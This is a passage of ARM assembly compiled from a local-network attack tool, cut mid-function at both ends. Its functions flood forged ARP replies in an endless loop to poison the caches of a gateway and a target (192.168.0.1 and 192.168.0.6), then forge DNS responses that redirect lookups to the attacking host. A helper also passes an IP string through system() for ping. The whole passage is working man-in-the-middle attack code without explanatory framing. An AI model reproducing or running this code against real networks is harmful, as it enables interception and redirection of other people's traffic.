ldr r3, [fp, #-280]
ldr r2, .L16+48
str r3, [r2]
ldr r3, .L16+48
ldr r3, [r3]
mov r1, r3
ldr r0, .L16+52
bl printf
ldr r1, .L16+56
ldr r0, .L16+60
bl fopen
str r0, [fp, #-300]
ldr r3, [fp, #-300]
cmp r3, #0
bne .L8
ldr r0, .L16+64
bl perror
mov r0, #1
bl exit
.L11:
sub r3, fp, #264
mov r1, r3
ldr r0, .L16+4
bl strcmp
mov r3, r0
cmp r3, #0
beq .L15
nop
.L8:
sub r3, fp, #264
str r3, [sp, #64]
sub r3, fp, #312
str r3, [sp, #60]
sub r3, fp, #316
str r3, [sp, #56]
ldr r3, .L16+68
str r3, [sp, #52]
ldr r3, .L16+72
str r3, [sp, #48]
ldr r3, .L16+76
str r3, [sp, #44]
ldr r3, .L16+80
str r3, [sp, #40]
ldr r3, .L16+84
str r3, [sp, #36]
ldr r3, .L16+88
str r3, [sp, #32]
ldr r3, .L16+92
str r3, [sp, #28]
ldr r3, .L16+96
str r3, [sp, #24]
ldr r3, .L16+100
str r3, [sp, #20]
ldr r3, .L16+104
str r3, [sp, #16]
ldr r3, .L16+108
str r3, [sp, #12]
ldr r3, .L16+112
str r3, [sp, #8]
ldr r3, .L16+116
str r3, [sp, #4]
ldr r3, .L16+120
str r3, [sp]
ldr r3, .L16+124
ldr r2, .L16+128
ldr r1, .L16+132
ldr r0, [fp, #-300]
bl __isoc99_fscanf
mov r3, r0
cmp r3, #19
beq .L11
b .L10
.L15:
nop
.L10:
ldr r0, [fp, #-300]
bl fclose
ldr r0, .L16+136
bl printf
mov r3, #0
str r3, [fp, #-304]
b .L12
.L13:
ldr r2, .L16+128
ldr r3, [fp, #-304]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r1, r3
ldr r0, .L16+24
bl printf
ldr r3, [fp, #-304]
add r3, r3, #1
str r3, [fp, #-304]
.L12:
ldr r3, [fp, #-304]
cmp r3, #15
ble .L13
mov r0, #10
bl putchar
nop
ldr r3, .L16
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L14
bl __stack_chk_fail
.L14:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L17:
.align 2
.L16:
.word .LC12
.word .LC0
.word 35111
.word .LC1
.word local_mac
.word .LC2
.word .LC3
.word 35093
.word .LC4
.word local_ip
.word .LC5
.word 35123
.word local_interface_index
.word .LC6
.word .LC7
.word .LC8
.word .LC9
.word local_ip_6+15
.word local_ip_6+14
.word local_ip_6+13
.word local_ip_6+12
.word local_ip_6+11
.word local_ip_6+10
.word local_ip_6+9
.word local_ip_6+8
.word local_ip_6+7
.word local_ip_6+6
.word local_ip_6+5
.word local_ip_6+4
.word local_ip_6+3
.word local_ip_6+2
.word local_ip_6+1
.word local_ip_6
.word .LC10
.word .LC11
.size get_local_mac, .-get_local_mac
.section .rodata
.align 2
.LC13:
.ascii "ping -c 1 %s > /dev/null 2> /dev/null\000"
.align 2
.LC14:
.word __stack_chk_guard
.text
.align 2
.global ping_ip
.syntax unified
.arm
.fpu softvfp
.type ping_ip, %function
ping_ip:
@ args = 0, pretend = 0, frame = 216
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #216
str r0, [fp, #-216]
ldr r3, .L20
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #208
mov r2, #200
mov r1, #0
mov r0, r3
bl memset
sub r0, fp, #208
ldr r3, [fp, #-216]
ldr r2, .L20+4
mov r1, #199
bl snprintf
sub r3, fp, #208
mov r0, r3
bl system
nop
ldr r3, .L20
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L19
bl __stack_chk_fail
.L19:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L21:
.align 2
.L20:
.word .LC14
.word .LC13
.size ping_ip, .-ping_ip
.section .rodata
.align 2
.LC15:
.ascii "%u.%u.%u.%u\000"
.align 2
.LC16:
.word __stack_chk_guard
.text
.align 2
.global convert_ip_to_int
.syntax unified
.arm
.fpu softvfp
.type convert_ip_to_int, %function
convert_ip_to_int:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-32]
ldr r3, .L25
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r1, fp, #20
sub r2, fp, #24
sub r3, fp, #12
str r3, [sp, #4]
sub r3, fp, #16
str r3, [sp]
mov r3, r1
ldr r1, .L25+4
ldr r0, [fp, #-32]
bl __isoc99_sscanf
ldr r3, [fp, #-20]
lsl r2, r3, #8
ldr r3, [fp, #-24]
orr r2, r2, r3
ldr r3, [fp, #-16]
lsl r3, r3, #16
orr r2, r2, r3
ldr r3, [fp, #-12]
lsl r3, r3, #24
orr r3, r2, r3
ldr r2, .L25
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L24
bl __stack_chk_fail
.L24:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L26:
.align 2
.L25:
.word .LC16
.word .LC15
.size convert_ip_to_int, .-convert_ip_to_int
.section .rodata
.align 2
.LC17:
.word __stack_chk_guard
.text
.align 2
.global get_mac_from_ip
.syntax unified
.arm
.fpu softvfp
.type get_mac_from_ip, %function
get_mac_from_ip:
@ args = 0, pretend = 0, frame = 65576
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #65536
sub sp, sp, #44
sub r3, fp, #65536
sub r3, r3, #12
str r0, [r3, #-28]
sub r3, fp, #65536
sub r3, r3, #12
str r1, [r3, #-32]
sub r3, fp, #65536
sub r3, r3, #12
str r2, [r3, #-36]
ldr r3, .L35
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
bl fork
mov r3, r0
cmp r3, #0
bne .L28
sub r3, fp, #65536
sub r3, r3, #12
ldr r0, [r3, #-32]
bl ping_ip
mov r0, #0
bl exit
.L28:
sub r3, fp, #65536
sub r3, r3, #12
mov r2, r3
sub r3, fp, #65536
sub r3, r3, #12
sub r3, r3, #4
str r3, [r2, #-20]
sub r3, fp, #65536
sub r3, r3, #12
mov r2, r3
sub r3, fp, #65536
sub r3, r3, #12
sub r3, r3, #4
add r3, r3, #14
str r3, [r2, #-16]
sub r3, fp, #65536
sub r3, r3, #12
mov r4, r3
sub r3, fp, #65536
sub r3, r3, #12
ldr r0, [r3, #-32]
bl convert_ip_to_int
str r0, [r4, #-12]
b .L29
.L32:
sub r3, fp, #65536
sub r3, r3, #12
ldr r3, [r3, #-8]
cmp r3, #39
bgt .L30
b .L29
.L30:
sub r3, fp, #65536
sub r3, r3, #12
ldr r3, [r3, #-16]
ldr r3, [r3, #16]
sub r2, fp, #65536
sub r2, r2, #12
ldr r2, [r2, #-12]
cmp r2, r3
bne .L29
sub r3, fp, #65536
sub r3, r3, #12
ldr r3, [r3, #-20]
sub r2, fp, #65536
sub r2, r2, #12
mov r0, r2
mov r2, #6
mov r1, r3
ldr r0, [r0, #-36]
bl memcpy
mov r3, #0
b .L33
.L29:
sub r3, fp, #65536
sub r3, r3, #12
mov r4, r3
sub r3, fp, #65536
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #65536
sub r2, r2, #12
mov r0, r2
ldr r2, .L35+4
mov r1, r3
ldr r0, [r0, #-28]
bl read
str r0, [r4, #-8]
sub r3, fp, #65536
sub r3, r3, #12
ldr r3, [r3, #-8]
cmp r3, #0
bgt .L32
bl __errno_location
mov r3, r0
ldr r3, [r3]
rsb r3, r3, #0
.L33:
ldr r2, .L35
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L34
bl __stack_chk_fail
.L34:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L36:
.align 2
.L35:
.word .LC17
.word 65535
.size get_mac_from_ip, .-get_mac_from_ip
.section .rodata
.align 2
.LC18:
.word __stack_chk_guard
.text
.align 2
.global create_packet_socket
.syntax unified
.arm
.fpu softvfp
.type create_packet_socket, %function
create_packet_socket:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L40
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r0, #3
bl htons
mov r3, r0
mov r2, r3
mov r1, #3
mov r0, #17
bl socket
str r0, [fp, #-44]
sub r3, fp, #40
mov r2, #15
ldr r1, .L40+4
mov r0, r3
bl strncpy
sub r3, fp, #40
mov r2, r3
ldr r1, .L40+8
ldr r0, [fp, #-44]
bl ioctl
ldrsh r3, [fp, #-24]
orr r3, r3, #256
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-24] @ movhi
sub r3, fp, #40
mov r2, r3
ldr r1, .L40+12
ldr r0, [fp, #-44]
bl ioctl
ldr r3, [fp, #-44]
ldr r2, .L40
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L39
bl __stack_chk_fail
.L39:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L41:
.align 2
.L40:
.word .LC18
.word .LC0
.word 35091
.word 35092
.size create_packet_socket, .-create_packet_socket
.section .rodata
.align 2
.LC19:
.word __stack_chk_guard
.text
.align 2
.global flood_arp
.syntax unified
.arm
.fpu softvfp
.type flood_arp, %function
flood_arp:
@ args = 0, pretend = 0, frame = 112
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #120
str r0, [fp, #-112]
ldr r3, .L47
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-112]
str r3, [fp, #-104]
ldr r3, [fp, #-104]
ldr r3, [r3]
str r3, [fp, #-100]
ldr r3, [fp, #-104]
ldr r3, [r3, #4]
str r3, [fp, #-96]
ldr r3, [fp, #-104]
ldr r3, [r3, #8]
str r3, [fp, #-108]
sub r3, fp, #64
mov r2, #56
mov r1, #0
mov r0, r3
bl memset
sub r3, fp, #64
str r3, [fp, #-92]
sub r3, fp, #64
add r3, r3, #14
str r3, [fp, #-88]
ldr r3, [fp, #-92]
mov r2, #6
ldr r1, [fp, #-96]
mov r0, r3
bl memcpy
ldr r3, [fp, #-92]
add r3, r3, #6
ldr r2, .L47+4
mov r0, r3
mov r1, r2
mov r3, #6
mov r2, r3
bl memcpy
ldr r0, .L47+8
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-92]
and r1, r2, #255
mov r0, #0
orr r1, r0, r1
strb r1, [r3, #12]
lsr r2, r2, #8
lsl r2, r2, #16
lsr r2, r2, #16
mov r1, #0
orr r2, r1, r2
strb r2, [r3, #13]
mov r0, #1
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-88]
strh r2, [r3] @ movhi
mov r0, #2048
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-88]
strh r2, [r3, #2] @ movhi
ldr r3, [fp, #-88]
mov r2, #6
strb r2, [r3, #4]
ldr r3, [fp, #-88]
mov r2, #4
strb r2, [r3, #5]
mov r0, #2
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-88]
strh r2, [r3, #6] @ movhi
ldr r3, [fp, #-88]
add r3, r3, #8
ldr r2, .L47+4
mov r0, r3
mov r1, r2
mov r3, #6
mov r2, r3
bl memcpy
ldr r3, [fp, #-88]
add r0, r3, #14
ldr r2, [fp, #-108]
ldr r3, .L47+12
ldr r3, [r3]
cmp r2, r3
bne .L43
ldr r3, .L47+16
b .L44
.L43:
ldr r3, .L47+12
.L44:
mov r2, #4
mov r1, r3
bl memcpy
ldr r3, [fp, #-88]
add r3, r3, #18
mov r2, #6
ldr r1, [fp, #-96]
mov r0, r3
bl memcpy
ldr r3, [fp, #-88]
add r3, r3, #24
sub r1, fp, #108
mov r2, #4
mov r0, r3
bl memcpy
sub r3, fp, #84
mov r2, #0
str r2, [r3]
str r2, [r3, #4]
str r2, [r3, #8]
str r2, [r3, #12]
str r2, [r3, #16]
mov r3, #17
strh r3, [fp, #-84] @ movhi
ldr r3, .L47+20
ldr r3, [r3]
str r3, [fp, #-80]
mov r3, #6
strb r3, [fp, #-73]
ldr r0, .L47+8
bl htons
mov r3, r0
strh r3, [fp, #-82] @ movhi
sub r3, fp, #84
add r3, r3, #12
mov r2, #6
ldr r1, [fp, #-96]
mov r0, r3
bl memcpy
.L45:
sub r1, fp, #64
mov r3, #20
str r3, [sp, #4]
sub r3, fp, #84
str r3, [sp]
mov r3, #0
mov r2, #42
ldr r0, [fp, #-100]
bl sendto
mov r0, #1
bl sleep
b .L45
.L48:
.align 2
.L47:
.word .LC19
.word local_mac
.word 2054
.word gateway_ip
.word target_ip
.word local_interface_index
.size flood_arp, .-flood_arp
.section .rodata
.align 2
.LC20:
.ascii "Spoofed dns response\000"
.align 2
.LC21:
.ascii "dns read\000"
.align 2
.LC22:
.word __stack_chk_guard
.text
.align 2
.global spoof_dns
.syntax unified
.arm
.fpu softvfp
.type spoof_dns, %function
spoof_dns:
@ args = 0, pretend = 0, frame = 1104
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #1104
sub sp, sp, #8
str r0, [fp, #-1104]
ldr r3, .L60
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #4
str r3, [fp, #-1088]
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #4
add r3, r3, #14
str r3, [fp, #-1084]
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #4
add r3, r3, #34
str r3, [fp, #-1080]
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #4
add r3, r3, #42
str r3, [fp, #-1076]
sub r3, fp, #520
str r3, [fp, #-1072]
sub r3, fp, #520
add r3, r3, #14
str r3, [fp, #-1068]
sub r3, fp, #520
add r3, r3, #34
str r3, [fp, #-1064]
sub r3, fp, #520
add r3, r3, #42
str r3, [fp, #-1060]
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #4
mov r2, #512
mov r1, #0
mov r0, r3
bl memset
mov r0, #2048
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-1088]
and r1, r2, #255
mov r0, #0
orr r1, r0, r1
strb r1, [r3, #12]
lsr r2, r2, #8
lsl r2, r2, #16
lsr r2, r2, #16
mov r1, #0
orr r2, r1, r2
strb r2, [r3, #13]
ldr r3, [fp, #-1088]
add r3, r3, #6
ldr r2, .L60+4
mov r0, r3
mov r1, r2
mov r3, #6
mov r2, r3
bl memcpy
ldr r2, [fp, #-1084]
ldrb r3, [r2]
bic r3, r3, #176
orr r3, r3, #64
strb r3, [r2]
ldr r2, [fp, #-1084]
ldrb r3, [r2]
bic r3, r3, #10
orr r3, r3, #5
strb r3, [r2]
ldr r3, [fp, #-1084]
mov r2, #17
strb r2, [r3, #9]
ldr r3, [fp, #-1084]
mov r2, #0
strb r2, [r3, #1]
mov r0, #16384
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-1084]
strh r2, [r3, #6] @ movhi
ldr r3, [fp, #-1076]
add r3, r3, #2
mvn r2, #126
strb r2, [r3]
ldr r3, [fp, #-1076]
add r3, r3, #3
mvn r2, #127
strb r2, [r3]
ldr r3, [fp, #-1076]
add r3, r3, #4
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1076]
add r3, r3, #5
mov r2, #1
strb r2, [r3]
ldr r3, [fp, #-1076]
add r3, r3, #6
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1076]
add r3, r3, #7
mov r2, #1
strb r2, [r3]
ldr r3, [fp, #-1076]
add r3, r3, #8
mov r2, #4
mov r1, #0
mov r0, r3
bl memset
b .L50
.L56:
ldr r3, [fp, #-1064]
ldrh r3, [r3]
mov r0, r3
bl ntohs
mov r3, r0
cmp r3, #53
bne .L51
b .L50
.L51:
ldr r0, [fp, #-1088]
ldr r3, [fp, #-1072]
add r3, r3, #6
mov r2, #6
mov r1, r3
bl memcpy
ldr r3, [fp, #-1068]
ldr r2, [r3, #16]
ldr r3, [fp, #-1084]
str r2, [r3, #12]
ldr r3, [fp, #-1068]
ldr r2, [r3, #12]
ldr r3, [fp, #-1084]
str r2, [r3, #16]
ldr r3, [fp, #-1068]
ldrh r3, [r3, #4]
mov r0, r3
bl ntohs
mov r3, r0
add r3, r3, #1
lsl r3, r3, #16
lsr r3, r3, #16
mov r0, r3
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-1084]
strh r2, [r3, #4] @ movhi
ldr r3, [fp, #-1068]
ldrb r2, [r3, #8] @ zero_extendqisi2
ldr r3, [fp, #-1084]
strb r2, [r3, #8]
ldr r3, [fp, #-1064]
ldrh r2, [r3, #2]
ldr r3, [fp, #-1080]
strh r2, [r3] @ movhi
ldr r3, [fp, #-1064]
ldrh r2, [r3]
ldr r3, [fp, #-1080]
strh r2, [r3, #2] @ movhi
mov r2, #2
ldr r1, [fp, #-1060]
ldr r0, [fp, #-1076]
bl memcpy
mov r3, #0
str r3, [fp, #-1096]
mov r3, #0
str r3, [fp, #-1092]
b .L52
.L53:
ldr r3, [fp, #-1096]
add r2, r3, #12
ldr r3, [fp, #-1092]
add r1, r3, #1
str r1, [fp, #-1092]
add r3, r2, r3
mov r2, r3
ldr r3, [fp, #-1060]
add r3, r3, r2
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-1096]
add r3, r3, r2
str r3, [fp, #-1096]
.L52:
ldr r3, [fp, #-1096]
add r2, r3, #12
ldr r3, [fp, #-1092]
add r3, r2, r3
mov r2, r3
ldr r3, [fp, #-1060]
add r3, r3, r2
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L53
ldr r2, [fp, #-1096]
ldr r3, [fp, #-1092]
add r3, r2, r3
str r3, [fp, #-1096]
ldr r3, [fp, #-1076]
add r0, r3, #12
ldr r3, [fp, #-1060]
add r3, r3, #12
ldr r2, [fp, #-1096]
mov r1, r3
bl memcpy
ldr r3, [fp, #-1096]
add r3, r3, #12
mov r2, r3
ldr r3, [fp, #-1076]
add r3, r3, r2
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #13
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #15
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #16
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #1
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #17
ldr r2, [fp, #-1076]
add r3, r2, r3
mvn r2, #63
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #18
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #12
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #19
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #21
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #22
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #1
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #23
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #24
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #25
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #28
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #26
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #32
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #27
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #14
ldr r2, [fp, #-1060]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #28
bne .L54
ldr r3, [fp, #-1096]
add r3, r3, #14
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #28
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #20
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #28
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #28
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #16
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #29
ldr r2, [fp, #-1076]
add r3, r2, r3
ldr r2, .L60+8
mov r0, r3
mov r1, r2
mov r3, #16
mov r2, r3
bl memcpy
ldr r3, [fp, #-1096]
add r3, r3, #45
str r3, [fp, #-1100]
b .L55
.L54:
ldr r3, [fp, #-1096]
add r3, r3, #14
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #1
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #20
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #1
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #28
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #4
strb r2, [r3]
ldr r3, [fp, #-1096]
add r3, r3, #29
ldr r2, [fp, #-1076]
add r3, r2, r3
mov r2, #4
ldr r1, .L60+12
mov r0, r3
bl memcpy
ldr r3, [fp, #-1096]
add r3, r3, #33
str r3, [fp, #-1100]
.L55:
ldr r3, [fp, #-1100]
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r3, #28
lsl r3, r3, #16
lsr r3, r3, #16
mov r0, r3
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-1084]
strh r2, [r3, #2] @ movhi
ldr r3, [fp, #-1084]
mov r2, #0
strh r2, [r3, #10] @ movhi
mov r1, #20
ldr r0, [fp, #-1084]
bl csum
mov r3, r0
mov r2, r3
ldr r3, [fp, #-1084]
strh r2, [r3, #10] @ movhi
ldr r3, [fp, #-1100]
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r3, #8
lsl r3, r3, #16
lsr r3, r3, #16
mov r0, r3
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-1080]
strh r2, [r3, #4] @ movhi
ldr r3, [fp, #-1080]
mov r2, #0
strh r2, [r3, #6] @ movhi
ldr r3, [fp, #-1080]
ldrh r3, [r3, #4]
mov r0, r3
bl ntohs
mov r3, r0
mov r1, r3
ldr r0, [fp, #-1084]
bl check_udp_sum
mov r3, r0
mov r2, r3
ldr r3, [fp, #-1080]
strh r2, [r3, #6] @ movhi
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #8
mov r2, #0
str r2, [r3]
str r2, [r3, #4]
str r2, [r3, #8]
str r2, [r3, #12]
str r2, [r3, #16]
sub r3, fp, #4
sub r3, r3, #1040
sub r3, r3, #8
mov r2, #17
strh r2, [r3] @ movhi
ldr r3, .L60+16
ldr r3, [r3]
str r3, [fp, #-1048]
mov r3, #6
strb r3, [fp, #-1041]
mov r0, #2048
bl htons
mov r3, r0
mov r2, r3
sub r3, fp, #4
sub r3, r3, #1040
sub r3, r3, #8
strh r2, [r3, #2] @ movhi
ldr r3, [fp, #-1084]
add r1, r3, #16
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #8
add r3, r3, #12
mov r2, #6
mov r0, r3
bl memcpy
ldr r3, [fp, #-1100]
add r2, r3, #42
sub r1, fp, #1024
sub r1, r1, #4
sub r1, r1, #4
mov r3, #20
str r3, [sp, #4]
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #8
str r3, [sp]
mov r3, #0
ldr r0, [fp, #-1104]
bl sendto
ldr r0, .L60+20
bl puts
.L50:
sub r3, fp, #520
mov r2, #512
mov r1, r3
ldr r0, [fp, #-1104]
bl read
str r0, [fp, #-1056]
ldr r3, [fp, #-1056]
cmp r3, #0
bgt .L56
ldr r3, [fp, #-1056]
cmn r3, #1
bne .L59
ldr r0, .L60+24
bl perror
mov r0, #1
bl exit
.L59:
nop
ldr r3, .L60
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L58
bl __stack_chk_fail
.L58:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L61:
.align 2
.L60:
.word .LC22
.word gateway_mac
.word local_ip_6
.word local_ip
.word local_interface_index
.word .LC20
.word .LC21
.size spoof_dns, .-spoof_dns
.section .rodata
.align 2
.LC23:
.ascii "setuid\000"
.align 2
.LC24:
.ascii "setgid\000"
.align 2
.LC25:
.ascii "192.168.0.1\000"
.align 2
.LC26:
.ascii "192.168.0.6\000"
.align 2
.LC27:
.ascii "%08x\012\000"
.align 2
.LC28:
.ascii "IP addresses are invalid\012\000"
.align 2
.LC29:
.ascii "Initial gateway mac read\000"
.align 2
.LC30:
.ascii "%02x %02x %02x %02x %02x %02x\012\000"
.align 2
.LC31:
.ascii "packet filter\000"
.align 2
.LC32:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
ldr r3, .L73
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r0, #0
bl setuid
mov r3, r0
cmp r3, #0
beq .L63
ldr r0, .L73+4
bl perror
mov r0, #1
bl exit
.L63:
mov r0, #0
bl setgid
mov r3, r0
cmp r3, #0
beq .L64
ldr r0, .L73+8
bl perror
mov r0, #1
bl exit
.L64:
mov r2, #6
mov r1, #0
ldr r0, .L73+12
bl memset
mov r2, #6
mov r1, #0
ldr r0, .L73+16
bl memset
ldr r0, .L73+20
bl convert_ip_to_int
mov r3, r0
ldr r2, .L73+24
str r3, [r2]
ldr r0, .L73+28
bl convert_ip_to_int
mov r3, r0
ldr r2, .L73+32
str r3, [r2]
bl create_packet_socket
str r0, [fp, #-36]
ldr r0, [fp, #-36]
bl get_local_mac
ldr r3, .L73+24
ldr r3, [r3]
mov r1, r3
ldr r0, .L73+36
bl printf
ldr r3, .L73+32
ldr r3, [r3]
mov r1, r3
ldr r0, .L73+36
bl printf
ldr r3, .L73+24
ldr r3, [r3]
cmp r3, #0
beq .L65
ldr r3, .L73+32
ldr r3, [r3]
cmp r3, #0
bne .L66
.L65:
ldr r3, .L73+40
ldr r3, [r3]
mov r2, #25
mov r1, #1
ldr r0, .L73+44
bl fwrite
mov r0, #1
bl exit
.L66:
ldr r2, .L73+12
ldr r1, .L73+20
ldr r0, [fp, #-36]
bl get_mac_from_ip
mov r3, r0
cmp r3, #0
beq .L67
ldr r0, .L73+48
bl perror
mov r0, #1
bl exit
.L67:
ldr r3, .L73+12
ldrb r3, [r3] @ zero_extendqisi2
mov r0, r3
ldr r3, .L73+12
ldrb r3, [r3, #1] @ zero_extendqisi2
mov ip, r3
ldr r3, .L73+12
ldrb r3, [r3, #2] @ zero_extendqisi2
mov lr, r3
ldr r3, .L73+12
ldrb r3, [r3, #3] @ zero_extendqisi2
mov r2, r3
ldr r3, .L73+12
ldrb r3, [r3, #4] @ zero_extendqisi2
mov r1, r3
ldr r3, .L73+12
ldrb r3, [r3, #5] @ zero_extendqisi2
str r3, [sp, #8]
str r1, [sp, #4]
str r2, [sp]
mov r3, lr
mov r2, ip
mov r1, r0
ldr r0, .L73+52
bl printf
ldr r2, .L73+16
ldr r1, .L73+28
ldr r0, [fp, #-36]
bl get_mac_from_ip
mov r3, r0
cmp r3, #0
beq .L68
ldr r0, .L73+48
bl perror
mov r0, #1
bl exit
.L68:
ldr r3, .L73+16
ldrb r3, [r3] @ zero_extendqisi2
mov r0, r3
ldr r3, .L73+16
ldrb r3, [r3, #1] @ zero_extendqisi2
mov ip, r3
ldr r3, .L73+16
ldrb r3, [r3, #2] @ zero_extendqisi2
mov lr, r3
ldr r3, .L73+16
ldrb r3, [r3, #3] @ zero_extendqisi2
mov r2, r3
ldr r3, .L73+16
ldrb r3, [r3, #4] @ zero_extendqisi2
mov r1, r3
ldr r3, .L73+16
ldrb r3, [r3, #5] @ zero_extendqisi2
str r3, [sp, #8]
str r1, [sp, #4]
str r2, [sp]
mov r3, lr
mov r2, ip
mov r1, r0
ldr r0, .L73+52
bl printf
ldr r3, [fp, #-36]
str r3, [fp, #-32]
ldr r3, .L73+12
str r3, [fp, #-28]
ldr r3, .L73+24
ldr r3, [r3]
str r3, [fp, #-24]
sub r3, fp, #32
sub r0, fp, #44
ldr r2, .L73+56
mov r1, #0
bl pthread_create
ldr r3, [fp, #-36]
str r3, [fp, #-20]
ldr r3, .L73+16
str r3, [fp, #-16]
ldr r3, .L73+32
ldr r3, [r3]
str r3, [fp, #-12]
sub r3, fp, #20
sub r0, fp, #40
ldr r2, .L73+56
mov r1, #0
bl pthread_create
mov r3, #8
str r3, [sp]
ldr r3, .L73+60
mov r2, #26
mov r1, #1
ldr r0, [fp, #-36]
bl setsockopt
mov r3, r0
cmp r3, #0
bge .L69
ldr r0, .L73+64
bl perror
b .L70
.L69:
ldr r0, [fp, #-36]
bl spoof_dns
.L70:
ldr r3, [fp, #-44]
mov r1, #0
mov r0, r3
bl pthread_join
ldr r3, [fp, #-40]
mov r1, #0
mov r0, r3
bl pthread_join
ldr r0, [fp, #-36]
bl close
mov r3, #0
ldr r2, .L73
ldr r1, [r2]
ldr r2, [fp, #-8]
